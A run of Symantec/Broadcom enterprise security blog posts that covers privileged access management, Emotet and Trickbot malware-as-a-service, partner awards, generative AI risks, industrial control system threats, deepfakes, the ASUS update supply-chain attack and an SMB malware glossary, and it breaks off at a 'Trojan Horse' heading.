Once a hacker gains a toehold in the network, the next step is to expand and elevate their privileges until they can gain access to the data they are seeking. In fact, Forbes found that almost 74 percent of data breaches start with privileged credential abuse. PAM tools form the core defense against APT by controlling access to privileged credentials and accounts and monitoring their usage as a means of early detection of unusual or risky behavior. PAM technologies implement the principal of Zero Trust and least privileged by only granting policy-based access to these accounts and credentials. They also track all activities to both help ensure accountability and to assist in a security breach investigation. Additionally, the Dark Reading article also stated that although APT attacks are “cross-platform attacks” on backend servers, “Linux [is] a particular focus since enterprise Linux systems are often not as well protected as other infrastructure.” Here again, PAM technologies can step in to help harden your mission critical servers, especially your Linux environment.
Fine-Grained Access Controls for your Mission Critical Servers
Fine-grained access controls, aside from being good security practice, are particularly helpful in preventing and mitigating the damage caused by an APT. Once attackers gain administrative privileges, they usually install backdoor “rootkits” and begin to export sensitive data. With proper access controls, an attacker with even privileged access controls is limited in what he or she can do, and may be prevented from accessing sensitive files, executing malicious commands, installing programs, stopping or starting services, or changing log files. On a system where fine-grained controls are implemented, an attacker may be forced to compromise multiple accounts in order to do what was previously possible with a single account. Furthermore, implementing fine-grained access controls can also mitigate the risk of one of the greatest security weaknesses in an organization: its people. By limiting access to critical systems and data to your privileged employees, the damage that can be done by an attacker who gains access to their accounts through social engineering is diminished.
Introducing Symantec Privileged Access Management
Symantec PAM is designed to prevent security breaches by protecting sensitive administrative credentials, controlling privileged user access, proactively enforcing security policies and monitoring and recording privileged user activity across virtual, cloud, hybrid, and physical environments. Symantec PAM is a foundational component to not only establishing Zero Trust, but the solution also provides several critical capabilities that defend against APT, including a privileged credential vault, session recording, and threat analytics to manage and monitor user access to privileged accounts and credentials.
Symantec PAM also provides server hardening for Windows, Unix, and Linux via its server control agents. These agents are kernel-based and are installed on the target endpoints, and can control both inbound and outbound communications, restricting packets by source IP, protocol, and TCP port. They can block code execution exploits and installation of “backdoor” software and can enable file integrity monitoring to detect changes to key files, such as those made by “root kits”. Finally, the server control agents can be configured in such a way that no user is authorized to shut them down without having physical access to the system. This would prevent an external hacker from attempting to disable the agents.
Combined these capabilities address the challenges poised by APT attacks by disrupting their ability to further elevate their privileges and compromise your mission critical servers. In addition, our appliance-based solution installs quickly and is easy to use and maintain. It also offers unparalleled performance and 10x the scalability compared to our leading competitors; this yields the lowest total cost of ownership in the industry.
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Are You Ready for Layered Cyber Crime Operations?
New types of attacks uncovered by Symantec’s adversary intel team contain multi-layered risks that require a multi-layered response
We all know about Software-as-a-Service and Storage-as-a-Service. Another term that should be on the radar screen of anyone interested in cyber security is Malware-as-a Service.
While the clichéd image of a hacker is a hoodie-wearing loner in the shadows, the reality is that well-organized criminal groups now operate like big tech companies using professional development processes. Today, criminal malware developers for malware families such as Emotet, Trickbot, and thousands of others are making them available to others for their nefarious schemes. Like legitimate software developers, the criminal groups continually improve their malware with new features, bug fixes and and modules capable of achieving a variety of objectives.
A good comparison would be someone going to purchase a new car. There are base models and then there are tiered levels that are more expensive but offer enhanced features and capabilities. The same concept can be applied to the cyber crime ecosystem when it comes to commodity malware offerings.
For example, the banking Trojan Trickbot recently unveiled new modules that steal credentials to authenticate remote servers using Virtual Networking Computing (VNC), PuTTY and Remote Desktop Protocol (RDP).
With the availability of a vast array of malware, which can be purchased as individual services or an entire cyber attack package, bad actors have taken a disturbing leap in how they monetize their attacks. One area where this is particularly rampant is among cyber attacks on the customers of banks and financial institutions.
Stealing Banking Credentials Is Just Part of the Puzzle
Historically, attackers mostly used banking Trojans to steal passwords, PIN numbers, and other banking credentials from victims. Today, this is often only a first step in a multi-pronged strategy.
To begin with, a cyber criminal might gain access to a network with a phishing email with a weaponized lure document that, when opened, initiates the infection chain for Emotet, a modular and highly customizable malware family. Once that Emotet foothold has been established, we’ve observed a number of criminal activities that follow a similar sequence of post-compromise events to include dropping the Trickbot banking trojan onto compromised devices:
Step 1: Emotet – steal system credentials, establish persistence, enumerate the network and propagate onto other networked devices/drives/servers. Many criminals will then sell the user credentials and the unauthorized network access in Dark Web forums and marketplaces to others who want to penetrate the network even more deeply. Emotet is also commonly used as a conduit for additional banking trojans such as Trickbot.
Step 2: Trickbot – steal victim’s banking credentials by injecting into online banking web-sessions. Trickbot also has features enabling it to steal credentials from popular online retail and payment applications such as Amazon, eBay, and Paypal.
To maximize profits, many cyber criminals can even take the above compromise and expand on it substantially by deploying the following:
Cryptominer – drop a miner onto the victim’s device and generate immediate ROI by using the victim’s system processing capabilities (CPU power) to create and harvest digital currency.
Ransomware – in the final nail in the proverbial coffin for the victim, the bad guys will lock up the victim’s computer and charge ransom for decryption keys. Even if the victim doesn’t pay the ransom, the attackers have already done a fair amount of damage and have profited substantially each step of the way. Receiving a ransom is just icing on the cake.
Your biggest foe? Complacency
The sophistication of these multi-prong attacks require cyber security teams to be even more vigilant than in the past. It’s critical to understand that data breaches, for all the attention they receive, represent only one piece of the current cyber crime landscape.
Cyber security teams should identify soft spots in their networks and areas that could be valuable to criminals. For example, last year we provided threat intelligence to Symantec’s incident response team during an engagement with a large organization that found a cryptominer installed on its network. It was stunning that the IT personnel were unconcerned. They did not believe criminals using their CPU processing to generate crypto currency represented a viable threat. However, the IT people became very interested when we explained that the presence of a cryptocurrency miner effectively represented a network intrusion and could be indicative of additional malware they were not aware of. Furthermore, the presence of the cryptocurrency miner could provide a much easier path for the attackers to regain access to their network in the future as well as destabilizing potential operations due to increased CPU usage.
In the current cyber crime environment, complacency is one your biggest foes. If cyber security teams identify and effectively remediate a Trickbot infection on their network, they might breathe a sigh of relief that they have addressed the attack and can start determining whose banking credentials may have been compromised. However, given the number of customizable features of current Trickbot malware offerings, they might not realize Trickbot was also used to compromise their RDP servers.
It’s like going to a doctor for a headache and being given some aspirin, while the real problem might be that you need glasses – the headache’s may subside, but eventually your vision may become blurred. Symantec provides threat intelligence on the latest attacks that use malware in combination, so if you see one intrusion on your network you know you'd better pay extra attention to the other, related attacks.
By having a greater understanding of the threats, and the most recent threat intelligence, you can harden your network and develop training exercises to help your employees understand how to ward off these threats. You need to work extra hard to keep your network safe, because you’d better believe the Malware-as-a-Service vendors are working just as hard to keep the their “customers” - the bad guys – ahead of the latest enterprise security advances.
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Arrow Electronics picks up two Global Broadcom Awards
Broadcom Partner Momentum Summit 2023
It feels like the Arrow European Symantec Team is coming back to earth after an amazing week at the Broadcom Partner Momentum Summit in Barcelona, where we were honoured to receive two Broadcom Partner awards.
The Summit, held during the second week of February, brought together businesses from across the Broadcom channel ecosystem, to hear about its channel strategy and vision. We were joined by over 500 industry peers, and we all gained valuable insights into the latest market trends, innovative channel programmes, and learned of new skills and tools required to thrive in a hybrid-cloud economy.
As Broadcom’s strategic and exclusive European Cybersecurity Aggregator partner, Arrow was excited to meet with our many partners and share with them more about the programs and support we can offer to develop their Symantec businesses. We had been anticipating the occasion for some time and when it finally arrived the event enabled us to launch, together with Broadcom, a new chapter in driving the growth of Broadcom’s commercial cybersecurity segment in the European market. It was great to see so many familiar faces and hear all the perspectives coming from the industry, our partners and Broadcom experts. We emerged truly energised for the fiscal year ahead!
Peter Cooper, Director Partners EMEA, Broadcom; Eric Nowak, President of Arrow Enterprise Computing Solutions in EMEA; Rob Jacobs, Head of Broadcom Business Group EMEA, Arrow ECS; Roy Borden, Vice President Partner Sales, Broadcom
There were many highlights but Arrow picking up two coveted awards in highly prized categories topped the list. We were honoured to collect a Broadcom Global Award for ‘Cybersecurity Aggregator of the Year’. This award recognised the developments we have made, launching a new commercial partner program along with specific initiatives to support end-user sales and marketing. It also acknowledges our focus towards helping partners retain customers, win new business and deliver superior customer outcomes.
This was aptly summarised by Peter Cooper, Director Partners EMEA at Broadcom who gave these kind words during the Gala Dinner Awards Ceremony:
“We are delighted to present our first ever Cybersecurity Aggregator of the Year, Global Award to Arrow. They are truly deserving of this award having achieved a tremendous transformation in the development of our European Commercial cybersecurity customer segment. Broadcom is known for pioneering innovative and disruptive methods of adding value for partners and customers. Arrow has completely embraced our ethos with its ‘Beyond Distribution’ go-to-market model which has redefined the role of distributor, with benefits for everyone in the sales chain.”
Mark Williams, Senior Consultant, The Channel Company; Eric Nowak, President of Arrow Enterprise Computing Solutions in EMEA
The second Broadcom Global Award we were presented with was ‘Technical Support Provider of the Year’ and it recognised the significant investment we have made delivering outstanding support for the Symantec Enterprise cybersecurity portfolio. In 2022, we greatly increased our technical knowledge and capabilities to support our channel partners and their customers day-to-day, providing them with a helping hand when selling Broadcom solutions.
Today, Arrow plays a pivotal role in helping our resellers deliver higher levels of cybersecurity and innovation to their end customers. Peter Cooper commented:
“We are very proud of the achievements Arrow has made in its technical support area. Arrow has greatly increased its expertise in Broadcom cybersecurity solutions to a level where partners and their customers feel 100% confident they can rely on excellent protection and day-to-day technical support.”
Both awards reflect the dedication and hard work that our Arrow Symantec Teams have shown over the last year, and with them comes the recognition that we have built a strong working collaboration with Broadcom. I am honoured and grateful that Arrow was chosen from the many worthy nominations in these categories. I also pass on my congratulations to all the winners at the event.
Accelerating Success. Together.
Aside from the awards, the Momentum Summit was a resounding success. Representatives from over 100 organisations warmly applauded the multiple sessions, which included a keynote panel discussion slot with Eric Nowak, President of Arrow Enterprise Computing Solutions in EMEA. In his address he underlined the transformational impact Broadcom and Arrow together are having on the ways partners can add value, every day. He explained how Arrow has been able to create an innovative European channel model that provides all players with greater flexibility, autonomy and efficiency, and ultimately ensures business success and happy customers.
Broadcom has a proven history of successful innovation, both in its technology and how that technology is delivered to market. Broadcom launching its Advantage Partner Program and the Expert Advantage Partner Program for professional services, and our appointment as exclusive European Cybersecurity Aggregator Distributor, are recent chapters in that success story. Partners attending the Momentum Summit had already seen how the Arrow and Broadcom collaboration, characterised by speed and agility, has enabled them to grow their license sales, add service models and better support service delivery for Broadcom’s cybersecurity products.
My team were also thrilled to present Threatscape Ireland with our own coveted award for ‘Arrow European Commercial Partner of the Year’. Colin Reid, Commerical Director at Threatscape had this to say:
“Threatscape is honoured to receive this significant award for closing new business and renewing established relationships as a key trusted advisor to our customers. This recognition would not have been possible without our organisation’s deep and broad Symantec capabilities, our customer-focused services expertise and the vision we share with Arrow and Broadcom for the success of our Symantec customers helping them navigate and execute on their most strategic priorities.”
The Broadcom Partner Summit motto, ‘Accelerating Success Together’, reflects the success of collaboration. Together we help our resellers drive and achieve greater customer satisfaction. It’s a Win-Win-Win relationship.
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Artificial Intelligence in Cybersecurity: Good or Evil?
Approaching Generative AI from a security perspective
As I reflect on the biggest technology innovations during my career―the Internet, smartphones, social media―a new breakthrough deserves a spot on that list. Generative AI has taken the world seemingly by storm, impacting everything from software development, to marketing, to conversations with my kids at the dinner table.
At the recent Six Five Summit, I had the pleasure of talking with Pat Moorhead about the impact of Generative AI on enterprise cybersecurity. As with many disruptive innovations, Generative AI holds great promise to deliver fundamentally better outcomes for organizations, while at the same time posing an entirely new set of cybersecurity risks and challenges.
Key Risks from Generative AI
There are three key risks posted by Generative AI in enterprises today:
Sensitive Data Loss: Enterprise users can input sensitive information or other confidential company information into Generative AI systems such as ChatGPT and, intentionally or unintentionally, expose confidential information and put the reputation of their company at risk.
Copyright Issues: Enterprise employees use Generative AI to create content such as source code, images, and documents. However, one cannot know the origin of the content provided by ChatGPT, and the content may not be copyright free, posing risk to the organization.
Abuse by Attackers: There have also been concerns raised that attackers will leverage Generative AI tools such as ChatGPT to develop novel new attacks. While Generative AI can make attackers more efficient at certain tasks, it cannot, as of today, create entirely new attacks. Generative AI systems are information content development tools, not robots — you can ask such a tool to “Tell me all the common ways to infect a machine,” but you cannot ask it to “Infect these machines at this company.”
Protecting the Enterprise
So, what can security professionals do to properly safeguard the use of Generative AI tools by their employees?
First, every organization must determine their own policies for use of Generative AI within their environment, e.g., what is the best approach for enabling the business while applying appropriate security controls. Given that we are still in the early stages of Generative AI, organizations should regularly review and evolve their policies as needed.
Symantec Enterprise Cloud enables our customers to enforce their specific Generative AI policies. Some organizations have decided to ban the use of these tools for the time being, as they work through the issues, and they leverage our Secure Web Gateway to enforce such controls. Others allow the use of Generative AI, with caution, and use Symantec’s DLP Cloud for real-time granular inspection of submitted data and remediation so that no confidential information is exposed. Our DLP Cloud has out-of-the-box templates that allow blocking of data across key regulatory categories, e.g., HIPAA, PCI, PII, etc. Organizations can also create new DLP policies for Generative AI or leverage their existing policies. Please see our Symantec Enterprise Blog and our Generative AI Protection Demo for more details.
Organizations should also consider providing explicit, documented, requirements on the obligation of every employee to validate output from Generative AI tools for accuracy, copyright compliance, and compliance with overall company policies.
We do expect attackers to eventually use Generative AI to create and deliver new threats much more efficiently. So, organizations must be extremely vigilant about ensuring that their overall cybersecurity posture including information, threat, network, and email tools can handle this increased attacker sophistication. To-date, Generative AI is unable to create entirely novel attack techniques that have not previously been created by humans. So, our Symantec products are well tuned to catch these attacks, and we also use Generative AI as part of building our defenses for customers.
AI vs. AI
Given that Generative AI tools are freely available to both the attackers and the defenders (cybersecurity companies), there are understandable concerns about how such an “arms race” may evolve.
Over time, Generative AI tools will surely improve and there may be a time in the future where such tools can generate and execute entirely new attacks on specifically targeted organizations. At the same time, security companies will be able to leverage such tools to super-charge their defenses. At Symantec, we are investigating the use of Generative AI across every product line to improve our protection and make the day-to-day jobs of security professionals easier. Over time, we could leverage Generative AI in our products to optimize customer-specific security policies, to quickly generate remediation instructions, to summarize technical security information for SoC analysts, and perform many other critical activities.
We believe that whoever has the most computing power will ultimately have the advantage here. The massive computing power used by OpenAI to develop ChatGPT has been a key factor in the early success of this tool. We feel that security companies will invest appropriately in compute power and research to keep the defenders ahead in this race.
Where do we go from here?
As we’ve seen with other disruptive technologies, it is impossible to predict how the use of Generative AI will develop over time. Social media started as a tool to help people stay connected with friends and family, via their desktop and laptop computers, nobody imagined all the ways in which its use would evolve.
Similarly, Generative AI is transforming our personal and work lives. Just as with other groundbreaking technologies that preceded it, the Internet, smartphones, and social media, Generative AI will usher in a new set of cybersecurity and privacy concerns. Enabling organizations to benefit from the full power of Generative AI, while protecting them from the associated risks, will surely drive a new wave of cybersecurity innovation. At Symantec, we are fully investing to be at the cutting edge of this space.
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As Industrial Systems Surge, Overconfidence Raising New Risks
With attacks on industrial control systems and IoT on the upswing, organizations aren’t always doing enough to defend themselves
Businesses have had little respite from opportunistic attacks against their critical systems.
For instance, Symantec logged a six-fold increase in the number attacks on customers' Internet of Things (IoT) systems last year. Elsewhere, 41 percent of industrial control system (ICS) computers were attacked in the first half of 2018, up from 37 percent a year earlier.
The uptick in attacks has put added urgency on the need for companies to take measures to secure their cyber-physical and industrial control systems and fend off the widespread, opportunistic attacks infecting vulnerable systems, according to Kunal Agarwal, general manager for Symantec's IoT security group.
"The majority of infections are accidental, and they usually are those malware that are very good at spreading," he said. "But once they get into the system, they are able to infect the entire environment, which is what actually causes the actual downtime or the impact to operations which you read about."
The renewed focus on industrial control and IoT systems follows a brutal string of attacks. In 2017, two major ransomware operations—WannaCry and NotPetya—caused significant disruptions for many companies, freezing manufacturing at Merck, delaying operations at FedEx, and disrupting medical services at the U.K.'s National Health Service.
The ransomware outbreaks did not target those specific companies but were opportunistic attacks that spread widely. In addition, because the attacks impacted operational technology (OT), not just information systems, they severely impacted business operations. For example, Merck lost at least $300 million, FedEx lost $400 million, and the NHS lost almost £100 million, according to the organizations. In 2018, chip maker Taiwan Semiconductor Manufacturing Company (TSMC), announced a variant of WannaCry infected its systems in August, resulting in a shutdown of its manufacturing that cost the company more than $250 million.
Management: Worry More. Specialists: Talk More
Most business leadership's view of their ability to secure their operational networks and industrial Internet of the Things (IIoT) systems remains optimistic – perhaps more than is warranted by the facts on the ground. More than 90 percent of company executives are at least somewhat confident that in their ability to secure their control devices and systems, according to the 2018 SANS Industrial IoT Security Survey.
Security professionals who have to deal with those systems, however, have a less rosy view of their ability to secure those systems. Only two-thirds of operational technology professionals are at least somewhat confident in their ability to secure their networks. While no executive admitted to being not at all confident or completely unprepared to secure their IIoT, a third of OT professionals had no faith in their ability to secure such systems.
"Management is actually more confident than they should be, and they should be listening to someone down the food chain," said SANS's Filkins.
IT and OT specialists need to talk to one another, because their perspectives are different, said Sandy Carielli, director of security technologies for Entrust Datacard, who co-wrote the Industrial Internet Consortium's Security Model. A major challenge for companies is to figure out what makes sense in each environment and how the environments should interact, she said.
"I come from an IT security background, so I'm not an operations person, and that affects my biases and background in terms of what I think are acceptable practices," Carielli said. "Some of the things we have accepted as normal in IT and OT security, really might not hold water."
Protect the Pivot Points
With opportunistic attacks on the rise, protecting operational networks generally means having network segmentation in place to block attackers who attempt to jump from the information systems to the operation network. Two major vectors that allow pivoting between the different networks are USB drives and networks-connected OT controllers, said Symantec's Agarwal.
"These are pivot points between OT and IT networks," he said. "Attackers are injecting themselves into the IT network, and then trying to pivot into the OT world by attacking a controller."
The most vulnerable systems are those that have been kept around past their intended life time. In addition, because operational systems are often designed to last for decades, vulnerabilities will continue to leave them open to attack.
"There are often systems sitting off to the side that actually carry an important business process and it is still running Windows XP and there is nothing in front of it to protect it," said SANS's Filkins. "You see this all the time in these industrial environments."
Also, companies should adopt a framework for industrial system security, whether the NIST Cyber Security Framework or the Industrial Internet Consortium's security model, and constantly iterate on their approach to securing their systems, said Entrust Datacard's Carielli.
"The security maturity model is really designed to give organizations an idea of where they need to be and what controls they need to implement," she said.
In the end, companies need to constantly be on guard and take a measured approach to security, she said.
"Your requirements for security will differ if you are working with a smart lightbulb compare to a manufacturing floor," she said. "The security maturity model is really designed to give organizations an idea of where they need to be and what controls they need to implement."
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Aspen Security Forum: Malware Gets Smarter, Faster and More Destructive
As attackers try out new technologies and stratagems to catch their victims off guard, many companies still haven’t got the memo
As they battle against cyber criminals and hacker groups associated with nation-states, companies and governments are under growing attack from all quarters. But are they prepared to handle what’s headed their way?
To be sure, the same question might have been raised five or 10 years ago. But as security managers struggle to respond to the increase in both the scope and intensity of cyber threats, incidents that once might have triggered apocalyptic headlines are now brushed off as “run-of-the-mill events that we actually pay very little attention to as they come and go,” said Garrett Graff, who moderated a cyber security panel at the recently-concluded Aspen Security Forum.
“We’ve seen two major American cities, Baltimore and Atlanta, effectively crippled for days, weeks, months at a time by ransomware attacks,” said Graff, the executive director of the Aspen Institute Cybersecurity & Technology Program.
What’s more, he added, attacks against major US companies have caused financial damages “that to people on this stage 10 years ago would have been the worst case scenario they could have imagined, really seem like things that we no longer are worried much about.”
No argument that attackers are testing defenders with new technologies and stratagems to catch their victims off guard. Jeff Greene, Symantec’s vice president of global government affairs and policy, pointed to a recent incident where a finance executive at a company received an urgent voice mail from his boss, ordering a wire transfer. Only one problem: It was a fake audio message.
No argument that attackers are testing defenders with new technologies and stratagems to catch their victims off guard
“This is the old landscape in a new iteration,” Greene said. “It is using psychology, melding it with technology and getting people to do things that they not going to if they stop and think about it. But this idea that someone is going to spoof the voice of your CEO or your boss or the president or whoever is pretty frightening and unfortunately, it’s not that complicated. If you Google ‘make deepfake audio, make deepfake video,’ you will find tools online that will help you do that…it’s a variation of an old scam – another iteration of the business email compromise, but it is just one more thing that people need to start thinking about.”
Malicious hackers, who use artificial intelligence technology to create these so-called deepfakes, can create recordings to dupe listeners into believe that someone said something they hadn’t.
“And this particular one was financial theft, but you can imagine the impact it could have in a political atmosphere,” said Greene. “The video doesn’t even have to be that good to dominate the news cycle for a couple of days and create a distraction, perhaps in the last stages of the campaign. It's always a game of trying to stay one step ahead of the attackers but this is a new one. We’ve been told, `Look, your email is suspicious so don’t click on that link.’ But we haven't been told be suspicious about the voicemail you received and we're moving into that world.”
The net effect of new and old attacks is taking its toll to the point where most companies now suffer little incidents almost every day, according to Kelly Bissell, a senior managing director at Accenture, which recently co-published with the Ponemon Institute a study of the cost of cyber crime.
Malicious hackers, who use artificial intelligence technology to create these so-called deepfakes, can create recordings to dupe listeners into believe that someone said something they hadn’t.
Bissell said that the cost of cyber crime has climbed from last year by about 30%, faulting organizations for failing to more systematically roll out tools and processes to mitigate their vulnerability to attacks. “So many companies will deploy a tool in a pilot environment, if you will, and then stop,” he said. “Then a new shiny tool will pop up and they try to get that installed too. The ones who actually pick someone like a Symantec or some other vendors and then deployed across the Enterprise and at scale - they get breached less than one-half of everyone else.”
He further noted that that virulence of recent malware attacks has dramatically compressed response times, leaving many organizations scrambling when their number comes up.
“There is no way a human can find some malware and make a decision and do anything about to reduce the risk,” he said.
Blocking and Tackling
Greene expressed concern about the “normalization of destructive malware attacks,” which marks a change from the previous focus of cyber criminals on stealing data, IP, and personal information to carry out identity theft.
“What we are seeing now is the widespread and common usage by common criminals of destructive malware; they go on your computer, they wipe it and it’s destroyed. You can never use it again. And the new variants we’ve seen - Shamoon was a big one inn 2012. Back then, the way it worked was if you had good forensics you could pull a lot of data off it. Now, before they brick the computer, they delete the data, so your recovery is further complicated.”
At the same time, Greene said that security experts have had to face a new reality when it comes to defending against destructive attacks.
“We need to reconceptualize what destructive means and think about the flat-out destruction of hardware as a new form of attack,” he said.
In years past, ransomware attackers might have gone after individuals, holding a victim’s pictures or other personal data hostage until they paid up. Now, attackers deploy sophisticated, staged tactics and they wait for the right moment until enough computers are compromised to allow them to take down a company or a municipality.
“And if you don’t pay up,” Greene said, “you’re looking at destroyed devices.”
In the meantime, Greene and others on the panel said the best defense starts by reinforcing basic cyber security hygiene around patching and other best practices. As basic as that sounds, however, he said many organizations still give it short shrift.
“We're still not doing the basic things because I think there's still a sense of ‘It will happen to the other’ and cyber security is still too often considered as the extra,” he said. “When I worked at a bicycle shop after college, we would lock the door every night because we didn’t want anyone to steal our bikes. No one had to incent us or tell us to do that. It still feels that to too many organizations, cyber (security) is something that they’ll do if they get to it, not as a baseline of doing business today and that’s a mindset we need to change.”
See Hugh Thompson, Symantec's CTO, discuss the financial implications of Deepfakes Here.
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ASUS Software Updates Used for Supply Chain Attacks
ASUS update system hijacked to send out malicious updates to as many as half a million computers.
What has happened?
News has emerged that tech company ASUS has been delivering malware through its automated software update system. Based on our analysis, this supply chain attack started in June 2018 and continued through to at least late October. It may have affected up to half a million systems.
The Trojanized updates contained a form of backdoor program which attempted to connect to an attacker-controlled domain. The updates were signed with legitimate ASUS digital certificates.
Am I protected?
Symantec detects the Trojanized updates as Trojan.Susafone, Trojan.Susafone!gen1, Trojan.Susafone!gen2, and Trojan.Susafone!gen3.
What happens when the Trojanized updates are installed?
The Trojanized updates search for specific machines based on their unique MAC addresses. If specific MAC addresses are found, the installed updates attempt to connect to asushotfix[.]com. This domain is currently offline.
How many victims are there?
Symantec telemetry shows that at least 13,000 computers received the Trojanized updates. 80 percent of victims were consumers and 20 percent were from organizations. Our telemetry shows an even spread of victims across the globe.
Figure. Computers that received Trojanized ASUS updates were spread across the globe
What is the motivation behind the attack?
The attacker motivation is unclear at this time.
Who are the attackers behind this attack?
This is unknown at this time.
What is a supply chain attack?
Supply chain attacks attempt to exploit third-party services and software to compromise a final target. Hijacked software updates are one of the most common forms of supply chain attack. Similar campaigns in the past include the CCleaner attacks and the Petya campaign.
Symantec noted in its latest ISTR report how supply chain attacks increased by 78 percent in 2018.
Thanks to Kaspersky for sharing details related to these attacks.
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A Tip for your TIP: Forget the Commercial - Open-Source Split
There’s no single “best” solution. The best threat intel platform is one that bolsters how you deploy data to counter bad actors
Data never rests and neither do the bad guys. Each day, more than 3.7 billion people use the internet, creating some 2.5 quintillion bytes of data. And each day, defenders are locked in battle against wave after wave of attackers trying to steal or access that information for their own nefarious aims.
While we can’t expect anything resembling “peace in our time” - at least for the foreseeable future - businesses can reduce their exposure to attack by marshalling the best intelligence possible about their adversaries.
That’s why the threat intelligence market is expected to more than double to $12.9 billion by 2023 to and also why growing numbers of businesses have made a threat intelligence platform (TIP) a key element of their enterprise security strategy.
TIPs offer invaluable help to threat intelligence teams and the analysts working in Security Operations Centers by essentially serving as the hub for information aggregated from the different sources and tools that an organization uses to track and manage cyber incidents and threats.
A TIP will streamline the often-unwieldy process of data collection by automatically collecting and normalizing data from multiple sources and formats. So instead of taking a hit-and-miss approach, analysts can make efficient decisions based on shared information gleaned from data streamed from different parts of the company flowing into a central repository or dashboard.
This both saves time by making better use of scarce resources while reducing enterprise risk by helping to answer questions such as: Which alerts should I prioritize? Is this an artifact of a targeted attack? Who's attacking me? The upshot is a deeper, more complete understanding of the threats against the organization and a valuable leg up in the escalating competition with the bad guys.
Commercial or Open-Source?
As organizations approach the question of how to equip themselves with their own TIP they can choose among both commercial and, increasingly, open-source alternatives. There’s no single “best” solution. The choice depends solely upon each company’s approach to using intelligence in light of unique requirements, capabilities and vision.
In a commercially-driven model, an enterprise will set up a development organization to create their own proprietary TIP offering; enhancing it on a regular basis with capabilities they determine will drive the greatest customer value, and hence the greatest revenue.
By contrast, the open-source TIP projects are created and supported by a collaborative community that develops new functionality prioritized by its members and making it available to anybody who wants to use it at no cost. Ideally, these users join the community and collaborate to help further enhance and develop the open-source project.
There are a couple of trade-offs here. First, the pace of enhancements is dependent upon the vibrancy of the community. Second, although there are no licensing costs, deployment will typically require some internal technical resources.
Again, there is no “better” choice here. The TIP market is relatively new and as adoption grows, you’ll see organizations choosing one approach over the other - just as you do with any recent technology adoption.
Don’t get hung up on the commercial/open-source split. Choose the approach that's best for you. We’re happy to support either.
A TIP is like any data analytics tool; the quality of what you’re going to get out of it is going to be proportional to what you put in.
In fact, the ultimate determination of success depends more on the inputs than the provenance of the technology. Without the proper intelligence content, a TIP by itself is of no value.
Think about it this way. A TIP is like any data analytics tool; the quality of what you’re going to get out of it is going to be proportional to what you put in. If your data sources are inappropriate, inadequate or of poor quality, it matters little that you have an excellent threat intelligence platform and really great human analysts. You’ll still struggle to get actionable operational intelligence because the system will just send your analysts down rabbit holes searching for non-existent, irrelevant or old threats. (Here are some recommendations I recently pulled together to help avoid those – and other - potential pitfalls.)
At the end of the day, what we're trying to do is enhance our customers' security posture and make it easier for security teams to use intelligence and keep their enterprises safe. This is where Symantec can step in to provide the broadest, most in-depth, timely, and accurate intelligence content.
It's not our ambition to dictate how your organization uses intelligence, but to support you each step of the way as your intelligence program matures. Ultimately, the road you choose is going to be less important than the effort you put in to achieve the overarching goal of implementing an intelligence driven security strategy.
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A Top 10 Cyber Security Cheat Sheet for SMBs in 2018
As New Threats Gather, Small and Medium-sized Firms Must Plug Lingering Cyber Security Knowledge Gaps
I work with cloud resellers everywhere between London, England and Wellington, New Zealand. But from one geography to the next, many of them still only possess a surface familiarity with the basics of cyber security.
Given the menace that small and mid-sized customers face from cyber attacks, this is something that organizations need to fix. And they can - I’ll get to that in a moment. But first, let’s look at the reasons behind this lingering knowledge gap.
Up until recently, most cloud service providers didn’t feel the urgency to help their customers gain a deep understanding of the threat landscape. To be sure, they were aware of threats like ransomware when it popped up on their news feeds. But they’d be hard-pressed to explain in depth the differences between ransomware and, say, Adware. Instead, they dealt with new threats as they appeared. In practice, that meant strategy took a backseat to tactics as they scrambled to figure out what the new threats meant.
That’s a common problem you’ll find at companies which don’t have long security pedigrees. Security has never been top of mind and so they aren’t equipped with the background or the desire to integrate it into their service offerings.
So how do we go about fixing this huge knowledge gap? In a word, education. Security needs to become something resellers can be comfortable discussing with customers. What’s more, they need to share their knowledge without overwhelming customers with different acronyms. They need to be able to make it plain and explain security in a way that humans can understand.
Otherwise, they’ll be condemned to jump from pillar to post, chasing after one security crisis after another.
If you want to go out and learn about threats and vulnerabilities, you have to put in the time to sift through the literature. Obviously, no single document can encompass everything you’ll need to know about the topic. Here are a couple of links to good resource material published by US-CERT and Britain’s NCSC: National Cyber Security Centre along with 10 key topics you and your customers should get familiar with before 2018 arrives.
Malware
Malware is short for malicious software, meaning software that can be used to compromise computer functions, steal data or bypass access controls. Malware is a broad term that refers to a variety of malicious programs. This post will talk you through several of the most common types of malware; adware, bots, bugs, rootkits, spyware, Trojan horses, viruses, and worms.
Adware
Adware or Advertising Software is a type of malware that automatically delivers advertisements. Common examples of adware include pop-up ads on websites and advertisements that are displayed by software. Often times software and applications offer “freemium” versions that come bundled with adware, as we are all aware – If you do not pay for a product, you are the product. Adware has become extremely popular on social media sites where it serves as a revenue tool for the platform. It is not uncommon for adware to come bundled with spyware that is capable of tracking user activity and stealing information. Due to the added capabilities of spyware, adware/spyware bundles are significantly more dangerous than adware on its own.
Bots
Bots are software programs created to perform specific operations automatically. While some bots are created for relatively harmless purposes such as Internet auctions, online contests and video gaming. It is becoming increasingly common to see bots being used maliciously. Bots can be used collectively in a group, which is called a botnet. These botnets can then be used in DDoS (Denial of Service) attacks or for distributing malware disguised as popular search items on download sites. Websites can guard against bots with CAPTCHA tests (e.g. “I am not a robot”) that verify users as human.
Bugs
In the context of software, a bug is a flaw that can be exploited. These flaws are usually the result of human error and typically exist in the source code or compilers of a program. Minor bugs only slightly affect a program’s behavior but more significant bugs can cause crashing or freezing. Security bugs are the most severe type of bugs as these can allow attackers to bypass user authentication, override access privileges, or even steal data. Bug bounty programs have been a great driver in incentivizing reporting of these bugs.
Ransomware
Ransomware is a form of malware that holds a computer system captive while demanding a ransom. The malware restricts user access to the computer either by encrypting files on the hard drive or locking down the system. Ransomware typically spreads like a normal computer worm ending up on a computer via a downloaded file or through some other vulnerability in a network service. With a high spread rate, quick route to financial gain and obscurity using bitcoins as payment, Ransomware made the headlines throughout 2016.
Rootkit
A rootkit is a type of malicious software designed to remotely access or control a computer without being detected by users or security programs. Once a rootkit has been installed it is possible for the malicious party behind the rootkit to access and steal information or alter software, including security software. Because a rootkit continually hides its presence, it is difficult for security products to find them. Businesses and end users can protect themselves from rootkits by regularly patching vulnerabilities, updating virus definitions and avoiding suspicious downloads.
Spyware
Spyware is a type of malware that functions by spying on users without their knowledge. The spying capabilities can include activity monitoring and data harvesting which monitors for account information, email and website login details and financial information such as credit card and account numbers. Spyware spreads by exploiting software vulnerabilities or by bundling itself with legitimate software most commonly free software versions
Trojan Horse
